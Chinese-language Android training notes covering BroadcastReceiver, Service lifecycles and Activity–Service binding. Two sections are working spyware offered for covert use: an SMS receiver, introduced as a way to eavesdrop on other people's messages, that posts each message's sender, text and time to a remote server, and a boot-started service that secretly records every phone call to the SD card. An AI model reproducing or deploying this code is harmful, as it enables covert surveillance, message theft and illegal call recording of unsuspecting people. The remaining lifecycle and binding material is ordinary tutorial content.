黑马程序员_android笔记7

---------------------- android培训、java培训、期待与您交流！ ----------------------

   第六天

1.广播接收者--BroadcastReceiver

广播接收者（BroadcastReceiver）用于接收广播Intent，广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收。要实现一个广播接收者方法如下：

第一步：继承BroadcastReceiver，并重写onReceive()方法。

public class IncomingSMSReceiver extends BroadcastReceiver {

@Override public void onReceive(Context context, Intent intent) {

}}

第二步：订阅感兴趣的广播Intent，订阅方法有两种：

第一种：使用代码进行订阅

IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");

IncomingSMSReceiver receiver = new IncomingSMSReceiver();

registerReceiver(receiver, filter);

第二种：在AndroidManifest.xml文件中的<application>节点里进行订阅:

<receiver android:name=".IncomingSMSReceiver">

    <intent-filter>

         <action android:name="android.provider.Telephony.SMS_RECEIVED"/>

    </intent-filter>

</receiver

广播被分为两种不同的类型：“普通广播（Normal broadcasts）”和“有序广播（Ordered broadcasts）”。前者是完全异步的，所有接收者（逻辑上）都在同一时刻运行，对消息传递的效率而言这是很好的做法，但缺点是：接收者不能将处理结果传递给下一个接收者，并且无法终止广播Intent的传播；然而后者是逐个执行接收者——系统会按照接收者声明的优先级别（声明在intent-filter元素的android:priority属性中，数越大优先级别越高,取值范围:-1000到1000。也可以调用IntentFilter对象的setPriority()进行设置），按顺序逐次执行。

Context.sendBroadcast()

   发送的是普通广播，所有订阅者都有机会获得并进行处理。

Context.sendOrderedBroadcast()

   发送的是有序广播，系统会根据接收者声明的优先级别按顺序逐个执行接收者，前面的接收者有权终止广播(BroadcastReceiver.abortBroadcast())，如果广播被前面的接收者终止，后面的接收者就再也无法获取到广播。对于有序广播，前面的接收者可以将处理结果存放进广播Intent，然后传给下一个接收者。

使用广播接收者窃听短信

如果你想窃听别人接收到的短信，达到你不可告人的目的，那么本节内容可以实现你的需求。

当系统收到短信时，会发出一个action名称为android.provider.Telephony.SMS_RECEIVED的广播Intent，该Intent存放了接收到的短信内容，使用名称“pdus”即可从Intent中获取短信内容。

public class SMSBroadcastReceiver extends BroadcastReceiver {

    //在接受者这边获取短信相关信息，将相关信息发到服务器上进行窃听

@Override

public void onReceive(Context context, Intent intent) {

Object[] pduses = (Object[])intent.getExtras().get("pdus");

for(Object pdus : pduses){

byte[] pdusmessage = (byte[]) pdus;//没一条短信

SmsMessage sms = SmsMessage.createFromPdu(pdusmessage);

String mobile = sms.getOriginatingAddress();//得到电话号码

String content = sms.getMessageBody();//得到短信的内容

Date date = new Date(sms.getTimestampMillis());//得到发送短信具体时间

//2009-10-12 12:21:23    为时间设置格式

SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

String sendtime = format.format(date);

Map<String, String> params = new HashMap<String, String>();

params.put("method", "getSMS");//将与短信相关的内容全部都放到集合里

params.put("mobile", mobile);

params.put("content", content);

params.put("sendtime", sendtime);

try {//利用socket向服务器发送窃听到的内容

SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8");

} catch (Exception e) {

Log.e("SMSBroadcastReceiver", e.toString());}}}}

在AndroidManifest.xml文件中的<application>节点里对接收到短信的广播Intent进行订阅:

<receiver android:name=". SMSBroadcastReceiver ">

<intent-filter><action android:name="android.provider.Telephony.SMS_RECEIVED"/></intent-filter></receiver>

在AndroidManifest.xml文件中添加以下权限：

<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->

<uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 -->

除了短信到来广播Intent，Android还有很多广播Intent，如：开机启动、电池电量变化、时间已经改变等广播Intent。

 接收电池电量变化广播Intent ，在AndroidManifest.xml文件中的<application>节点里订阅此Intent:

<receiver android:name=".IncomingSMSReceiver">

    <intent-filter>

         <action android:name="android.intent.action.BATTERY_CHANGED"/>

    </intent-filter>

</receiver>

 接收开机启动广播Intent，在AndroidManifest.xml文件中的<application>节点里订阅此Intent:

<receiver android:name=".IncomingSMSReceiver">

    <intent-filter>

         <action android:name="android.intent.action.BOOT_COMPLETED"/>

    </intent-filter>

</receiver>

并且要进行权限声明：

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

在Android中，程序的响应（Responsive）被活动管理器（Activity Manager）和窗口管理器（Window Manager）这两个系统服务所监视。当BroadcastReceiver在10秒内没有执行完毕，Android会认为该程序无响应。所以在BroadcastReceiver里不能做一些比较耗时的操作，否侧会弹出ANR（Application No Response）的对话框。如果需要完成一项比较耗时的工作，应该通过发送Intent给Service，由Service来完成。而不是使用子线程的方法来解决，因为BroadcastReceiver的生命周期很短（在onReceive() 执行后BroadcastReceiver 的实例就会被销毁），子线程可能还没有结束它就先结束了。当然如果BroadcastReceiver结束了，它的宿主进程还在运行，子线程还会继续执行。但宿主进程此时很容易在系统需要内存时被优先杀死，因为它属于空进程（没有任何活动组件的进程）。

public class IncomingSMSReceiver extends BroadcastReceiver {

@Override public void onReceive(Context context, Intent intent) {

            //发送Intent启动服务，由服务来完成比较耗时的操作

            Intent service = new Intent(context, XxxService.class);

            context.startService(service); }}

每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive() 方法。

2.服务

Android中的服务和windows中的服务是类似的东西，服务一般没有用户操作界面，它运行于系统中不容易被用户发觉，可以使用它开发如监控之类的程序。

If the service has been started, then its hosting process is considered to be less important than any processes that are currently visible to the user on-screen, but more important than any process not visible. Because only a few processes are generally visible to the user, this means that the service should not be killed except in extreme low memory conditions. 

服务的开发比较简单，如下：

第一步：继承Service类

public class SMSService extends Service { }

第二步：在AndroidManifest.xml文件中的<application>节点里对服务进行配置:

<service android:name=".SMSService" />

服务不能自己运行，需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service，但是它们的使用场合有所不同。使用startService()方法启用服务，调用者与服务之间没有关连，即使调用者退出了，服务仍然运行。使用bindService()方法启用服务，调用者与服务绑定在了一起，调用者一旦退出，服务也就终止，大有“不求同时生，必须同时死”的特点。

采用Context.startService()方法启动服务，在服务未被创建时，系统会先调用服务的onCreate()方法，接着调用onStart()方法。如果调用startService()方法前服务已经被创建，多次调用startService()方法并不会导致多次创建服务，但会导致多次调用onStart()方法。采用startService()方法启动的服务，只能调用Context.stopService()方法结束服务，服务结束时会调用onDestroy()方法

通过startService()和stopService()启动关闭服务。适用于服务和Activity之间没有调用交互的情况。如果相互之间需要方法调用或者传递参数，需要使用bindService()和unbindService()方法启动关闭服务。

采用Context.bindService()方法启动服务，在服务未被创建时，系统会先调用服务的onCreate()方法，接着调用onBind()方法，这个时候调用者和服务绑定在一起。 如果客户端要与服务进行通信，那么，onBind()方法必须返回Ibinder对象。如果调用者退出了，系统就会先调用服务的onUnbind()方法，接着调用onDestroy()方法。如果调用bindService()方法前服务已经被绑定，多次调用bindService()方法并不会导致多次创建服务及绑定(也就是说onCreate()和onBind()方法并不会被多次调用)。如果调用者希望与正在绑定的服务解除绑定，可以调用unbindService()方法，调用该方法也会导致系统调用服务的onUnbind()-->onDestroy()方法。

与采用Context.startService()方法启动服务有关的生命周期方法

onCreate()à onStart() à onDestroy()

onCreate()该方法在服务被创建时调用，该方法只会被调用一次，无论调用多少次startService()或bindService()方法，服务也只被创建一次。

onStart() 只有采用Context.startService()方法启动服务时才会回调该方法。该方法在服务开始运行时被调用。多次调用startService()方法尽管不会多次创建服务，但onStart() 方法会被多次调用。

onDestroy()该方法在服务被终止时调用。

 与采用Context.bindService()方法启动服务有关的生命周期方法

onCreate()à onBind() à onUnbind() à onDestroy()

onBind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务绑定时被调用，当调用者与服务已经绑定，多次调用Context.bindService()方法并不会导致该方法被多次调用。

onUnbind()只有采用Context.unbindService()方法启动服务时才会回调该方法。该方法在调用者与服务解除绑定时被调用。

电话监听器：

服务类：

public class PhoneListenerService extends Service {

private static final String TAG = "PhoneListenerService";

private PhoneStateListener listener = new PhoneStateListener(){

private String filename;

private boolean recoding;

private String mobile;

private MediaRecorder recorder;

public void onCallStateChanged(int state, String incomingNumber) {

   try {

switch (state){

case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */

if(recorder!=null){

  if(recoding){

     recorder.stop();

     recorder.release();

     Log.e(TAG, "record finish");

     recorder = null; }}

break;

case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */

SimpleDateFormat dateFormat = new SimpleDateFormat("yyyyMMddHHmmss");

filename = mobile+ dateFormat.format(new Date()) + ".3gp";

recorder = new MediaRecorder();

recorder.setAudioSource(MediaRecorder.AudioSource.MIC);

 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);// .3pg

recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

recorder.setOutputFile("/mnt/sdcard/"+ filename);

recorder.prepare();

recorder.start();

recoding = true;

Log.e(TAG, "recording");

break;

case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */

mobile = incomingNumber;

break;   }

     } catch (Exception e) {

Log.e(TAG, e.toString());      }

     super.onCallStateChanged(state, incomingNumber); }};

@Override

public void onCreate() {

  super.onCreate();

 TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);

  telManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);

  Log.e(TAG, "onCreate()");}

@Override

public IBinder onBind(Intent intent) {

return null;}}

启动服务类：

package cn.itcast.phone;

public class BootBroadcastReceiver extends BroadcastReceiver {

@Override

public void onReceive(Context context, Intent intent) {

Intent service = new Intent(context, PhoneListenService.class);

context.startService(service);}}

权限申明：

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

 <!-- 在SDCard中创建与删除文件权限 -->

<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>

<!-- 往SDCard写入数据权限 -->

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

<!-- 访问internet权限 -->

<uses-permission android:name="android.permission.RECORD_AUDIO"/>

服务配置：

<application android:icon="@drawable/icon" android:label="@string/app_name">

<service android:name=".PhoneListenService" />

<receiver android:name=".BootBroadcastReceiver">

<intent-filter>

         <action android:name="android.intent.action.BOOT_COMPLETED"/>

       </intent-filter></receiver> </application>

Activity与Service进行通信

Activity与Service进行通信时，Activity与服务进行通信，开发人员通常把通信方法定义在接口里，然后让Ibinder对象实现该接口，而Activity通过该接口引用服务onBind()方法返回的Ibinder对象，然后调用Ibinder对象里自定义的通信方法。例：

接口方法：

package cn.itcast.service;

public interface IService {

public String getName(int id);}

服务：

package cn.itcast.service;

import ……;

public class MyService extends Service {

private Binder binder = new MyBinder();

public IBinder onBind(Intent intent) {

return binder;}

private final class MyBinder extends Binder implements IService{

public String getName(int id){

return "传智播客";}}}

主界面：

package cn.itcast.service;

import ……;

public class MainActivity extends Activity {

    private MyServiceConnection conn;

    private IService myservice;

    public void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.main);    

        conn = new MyServiceConnection();

        Intent intent = new Intent(this, MyService.class);

        bindService(intent, conn, BIND_AUTO_CREATE);

        Button button = (Button) this.findViewById(R.id.button);

        button.setOnClickListener(new View.OnClickListener() {

public void onClick(View v) {

TextView resultView = (TextView) findViewById(R.id.result);

resultView.setText(myservice.getName(56));}}); }

private final class MyServiceConnection implements ServiceConnection{

public void onServiceConnected(ComponentName name, IBinder service) {

myservice = (IService)service;}

public void onServiceDisconnected(ComponentName name) {

myservice = null;} }

protected void onDestroy() {

unbindService(conn); // 不调用此方法系统也会解除绑定

super.onDestroy();}}

Manifest.xml配置：

<application android:icon="@drawable/icon" android:label="@string/app_name">

      ……

<service android:name=".MyService"/>

</application>

---------------------- android培训、java培训、期待与您交流！ ----------------------详细请查看：http://edu.csdn.net/heima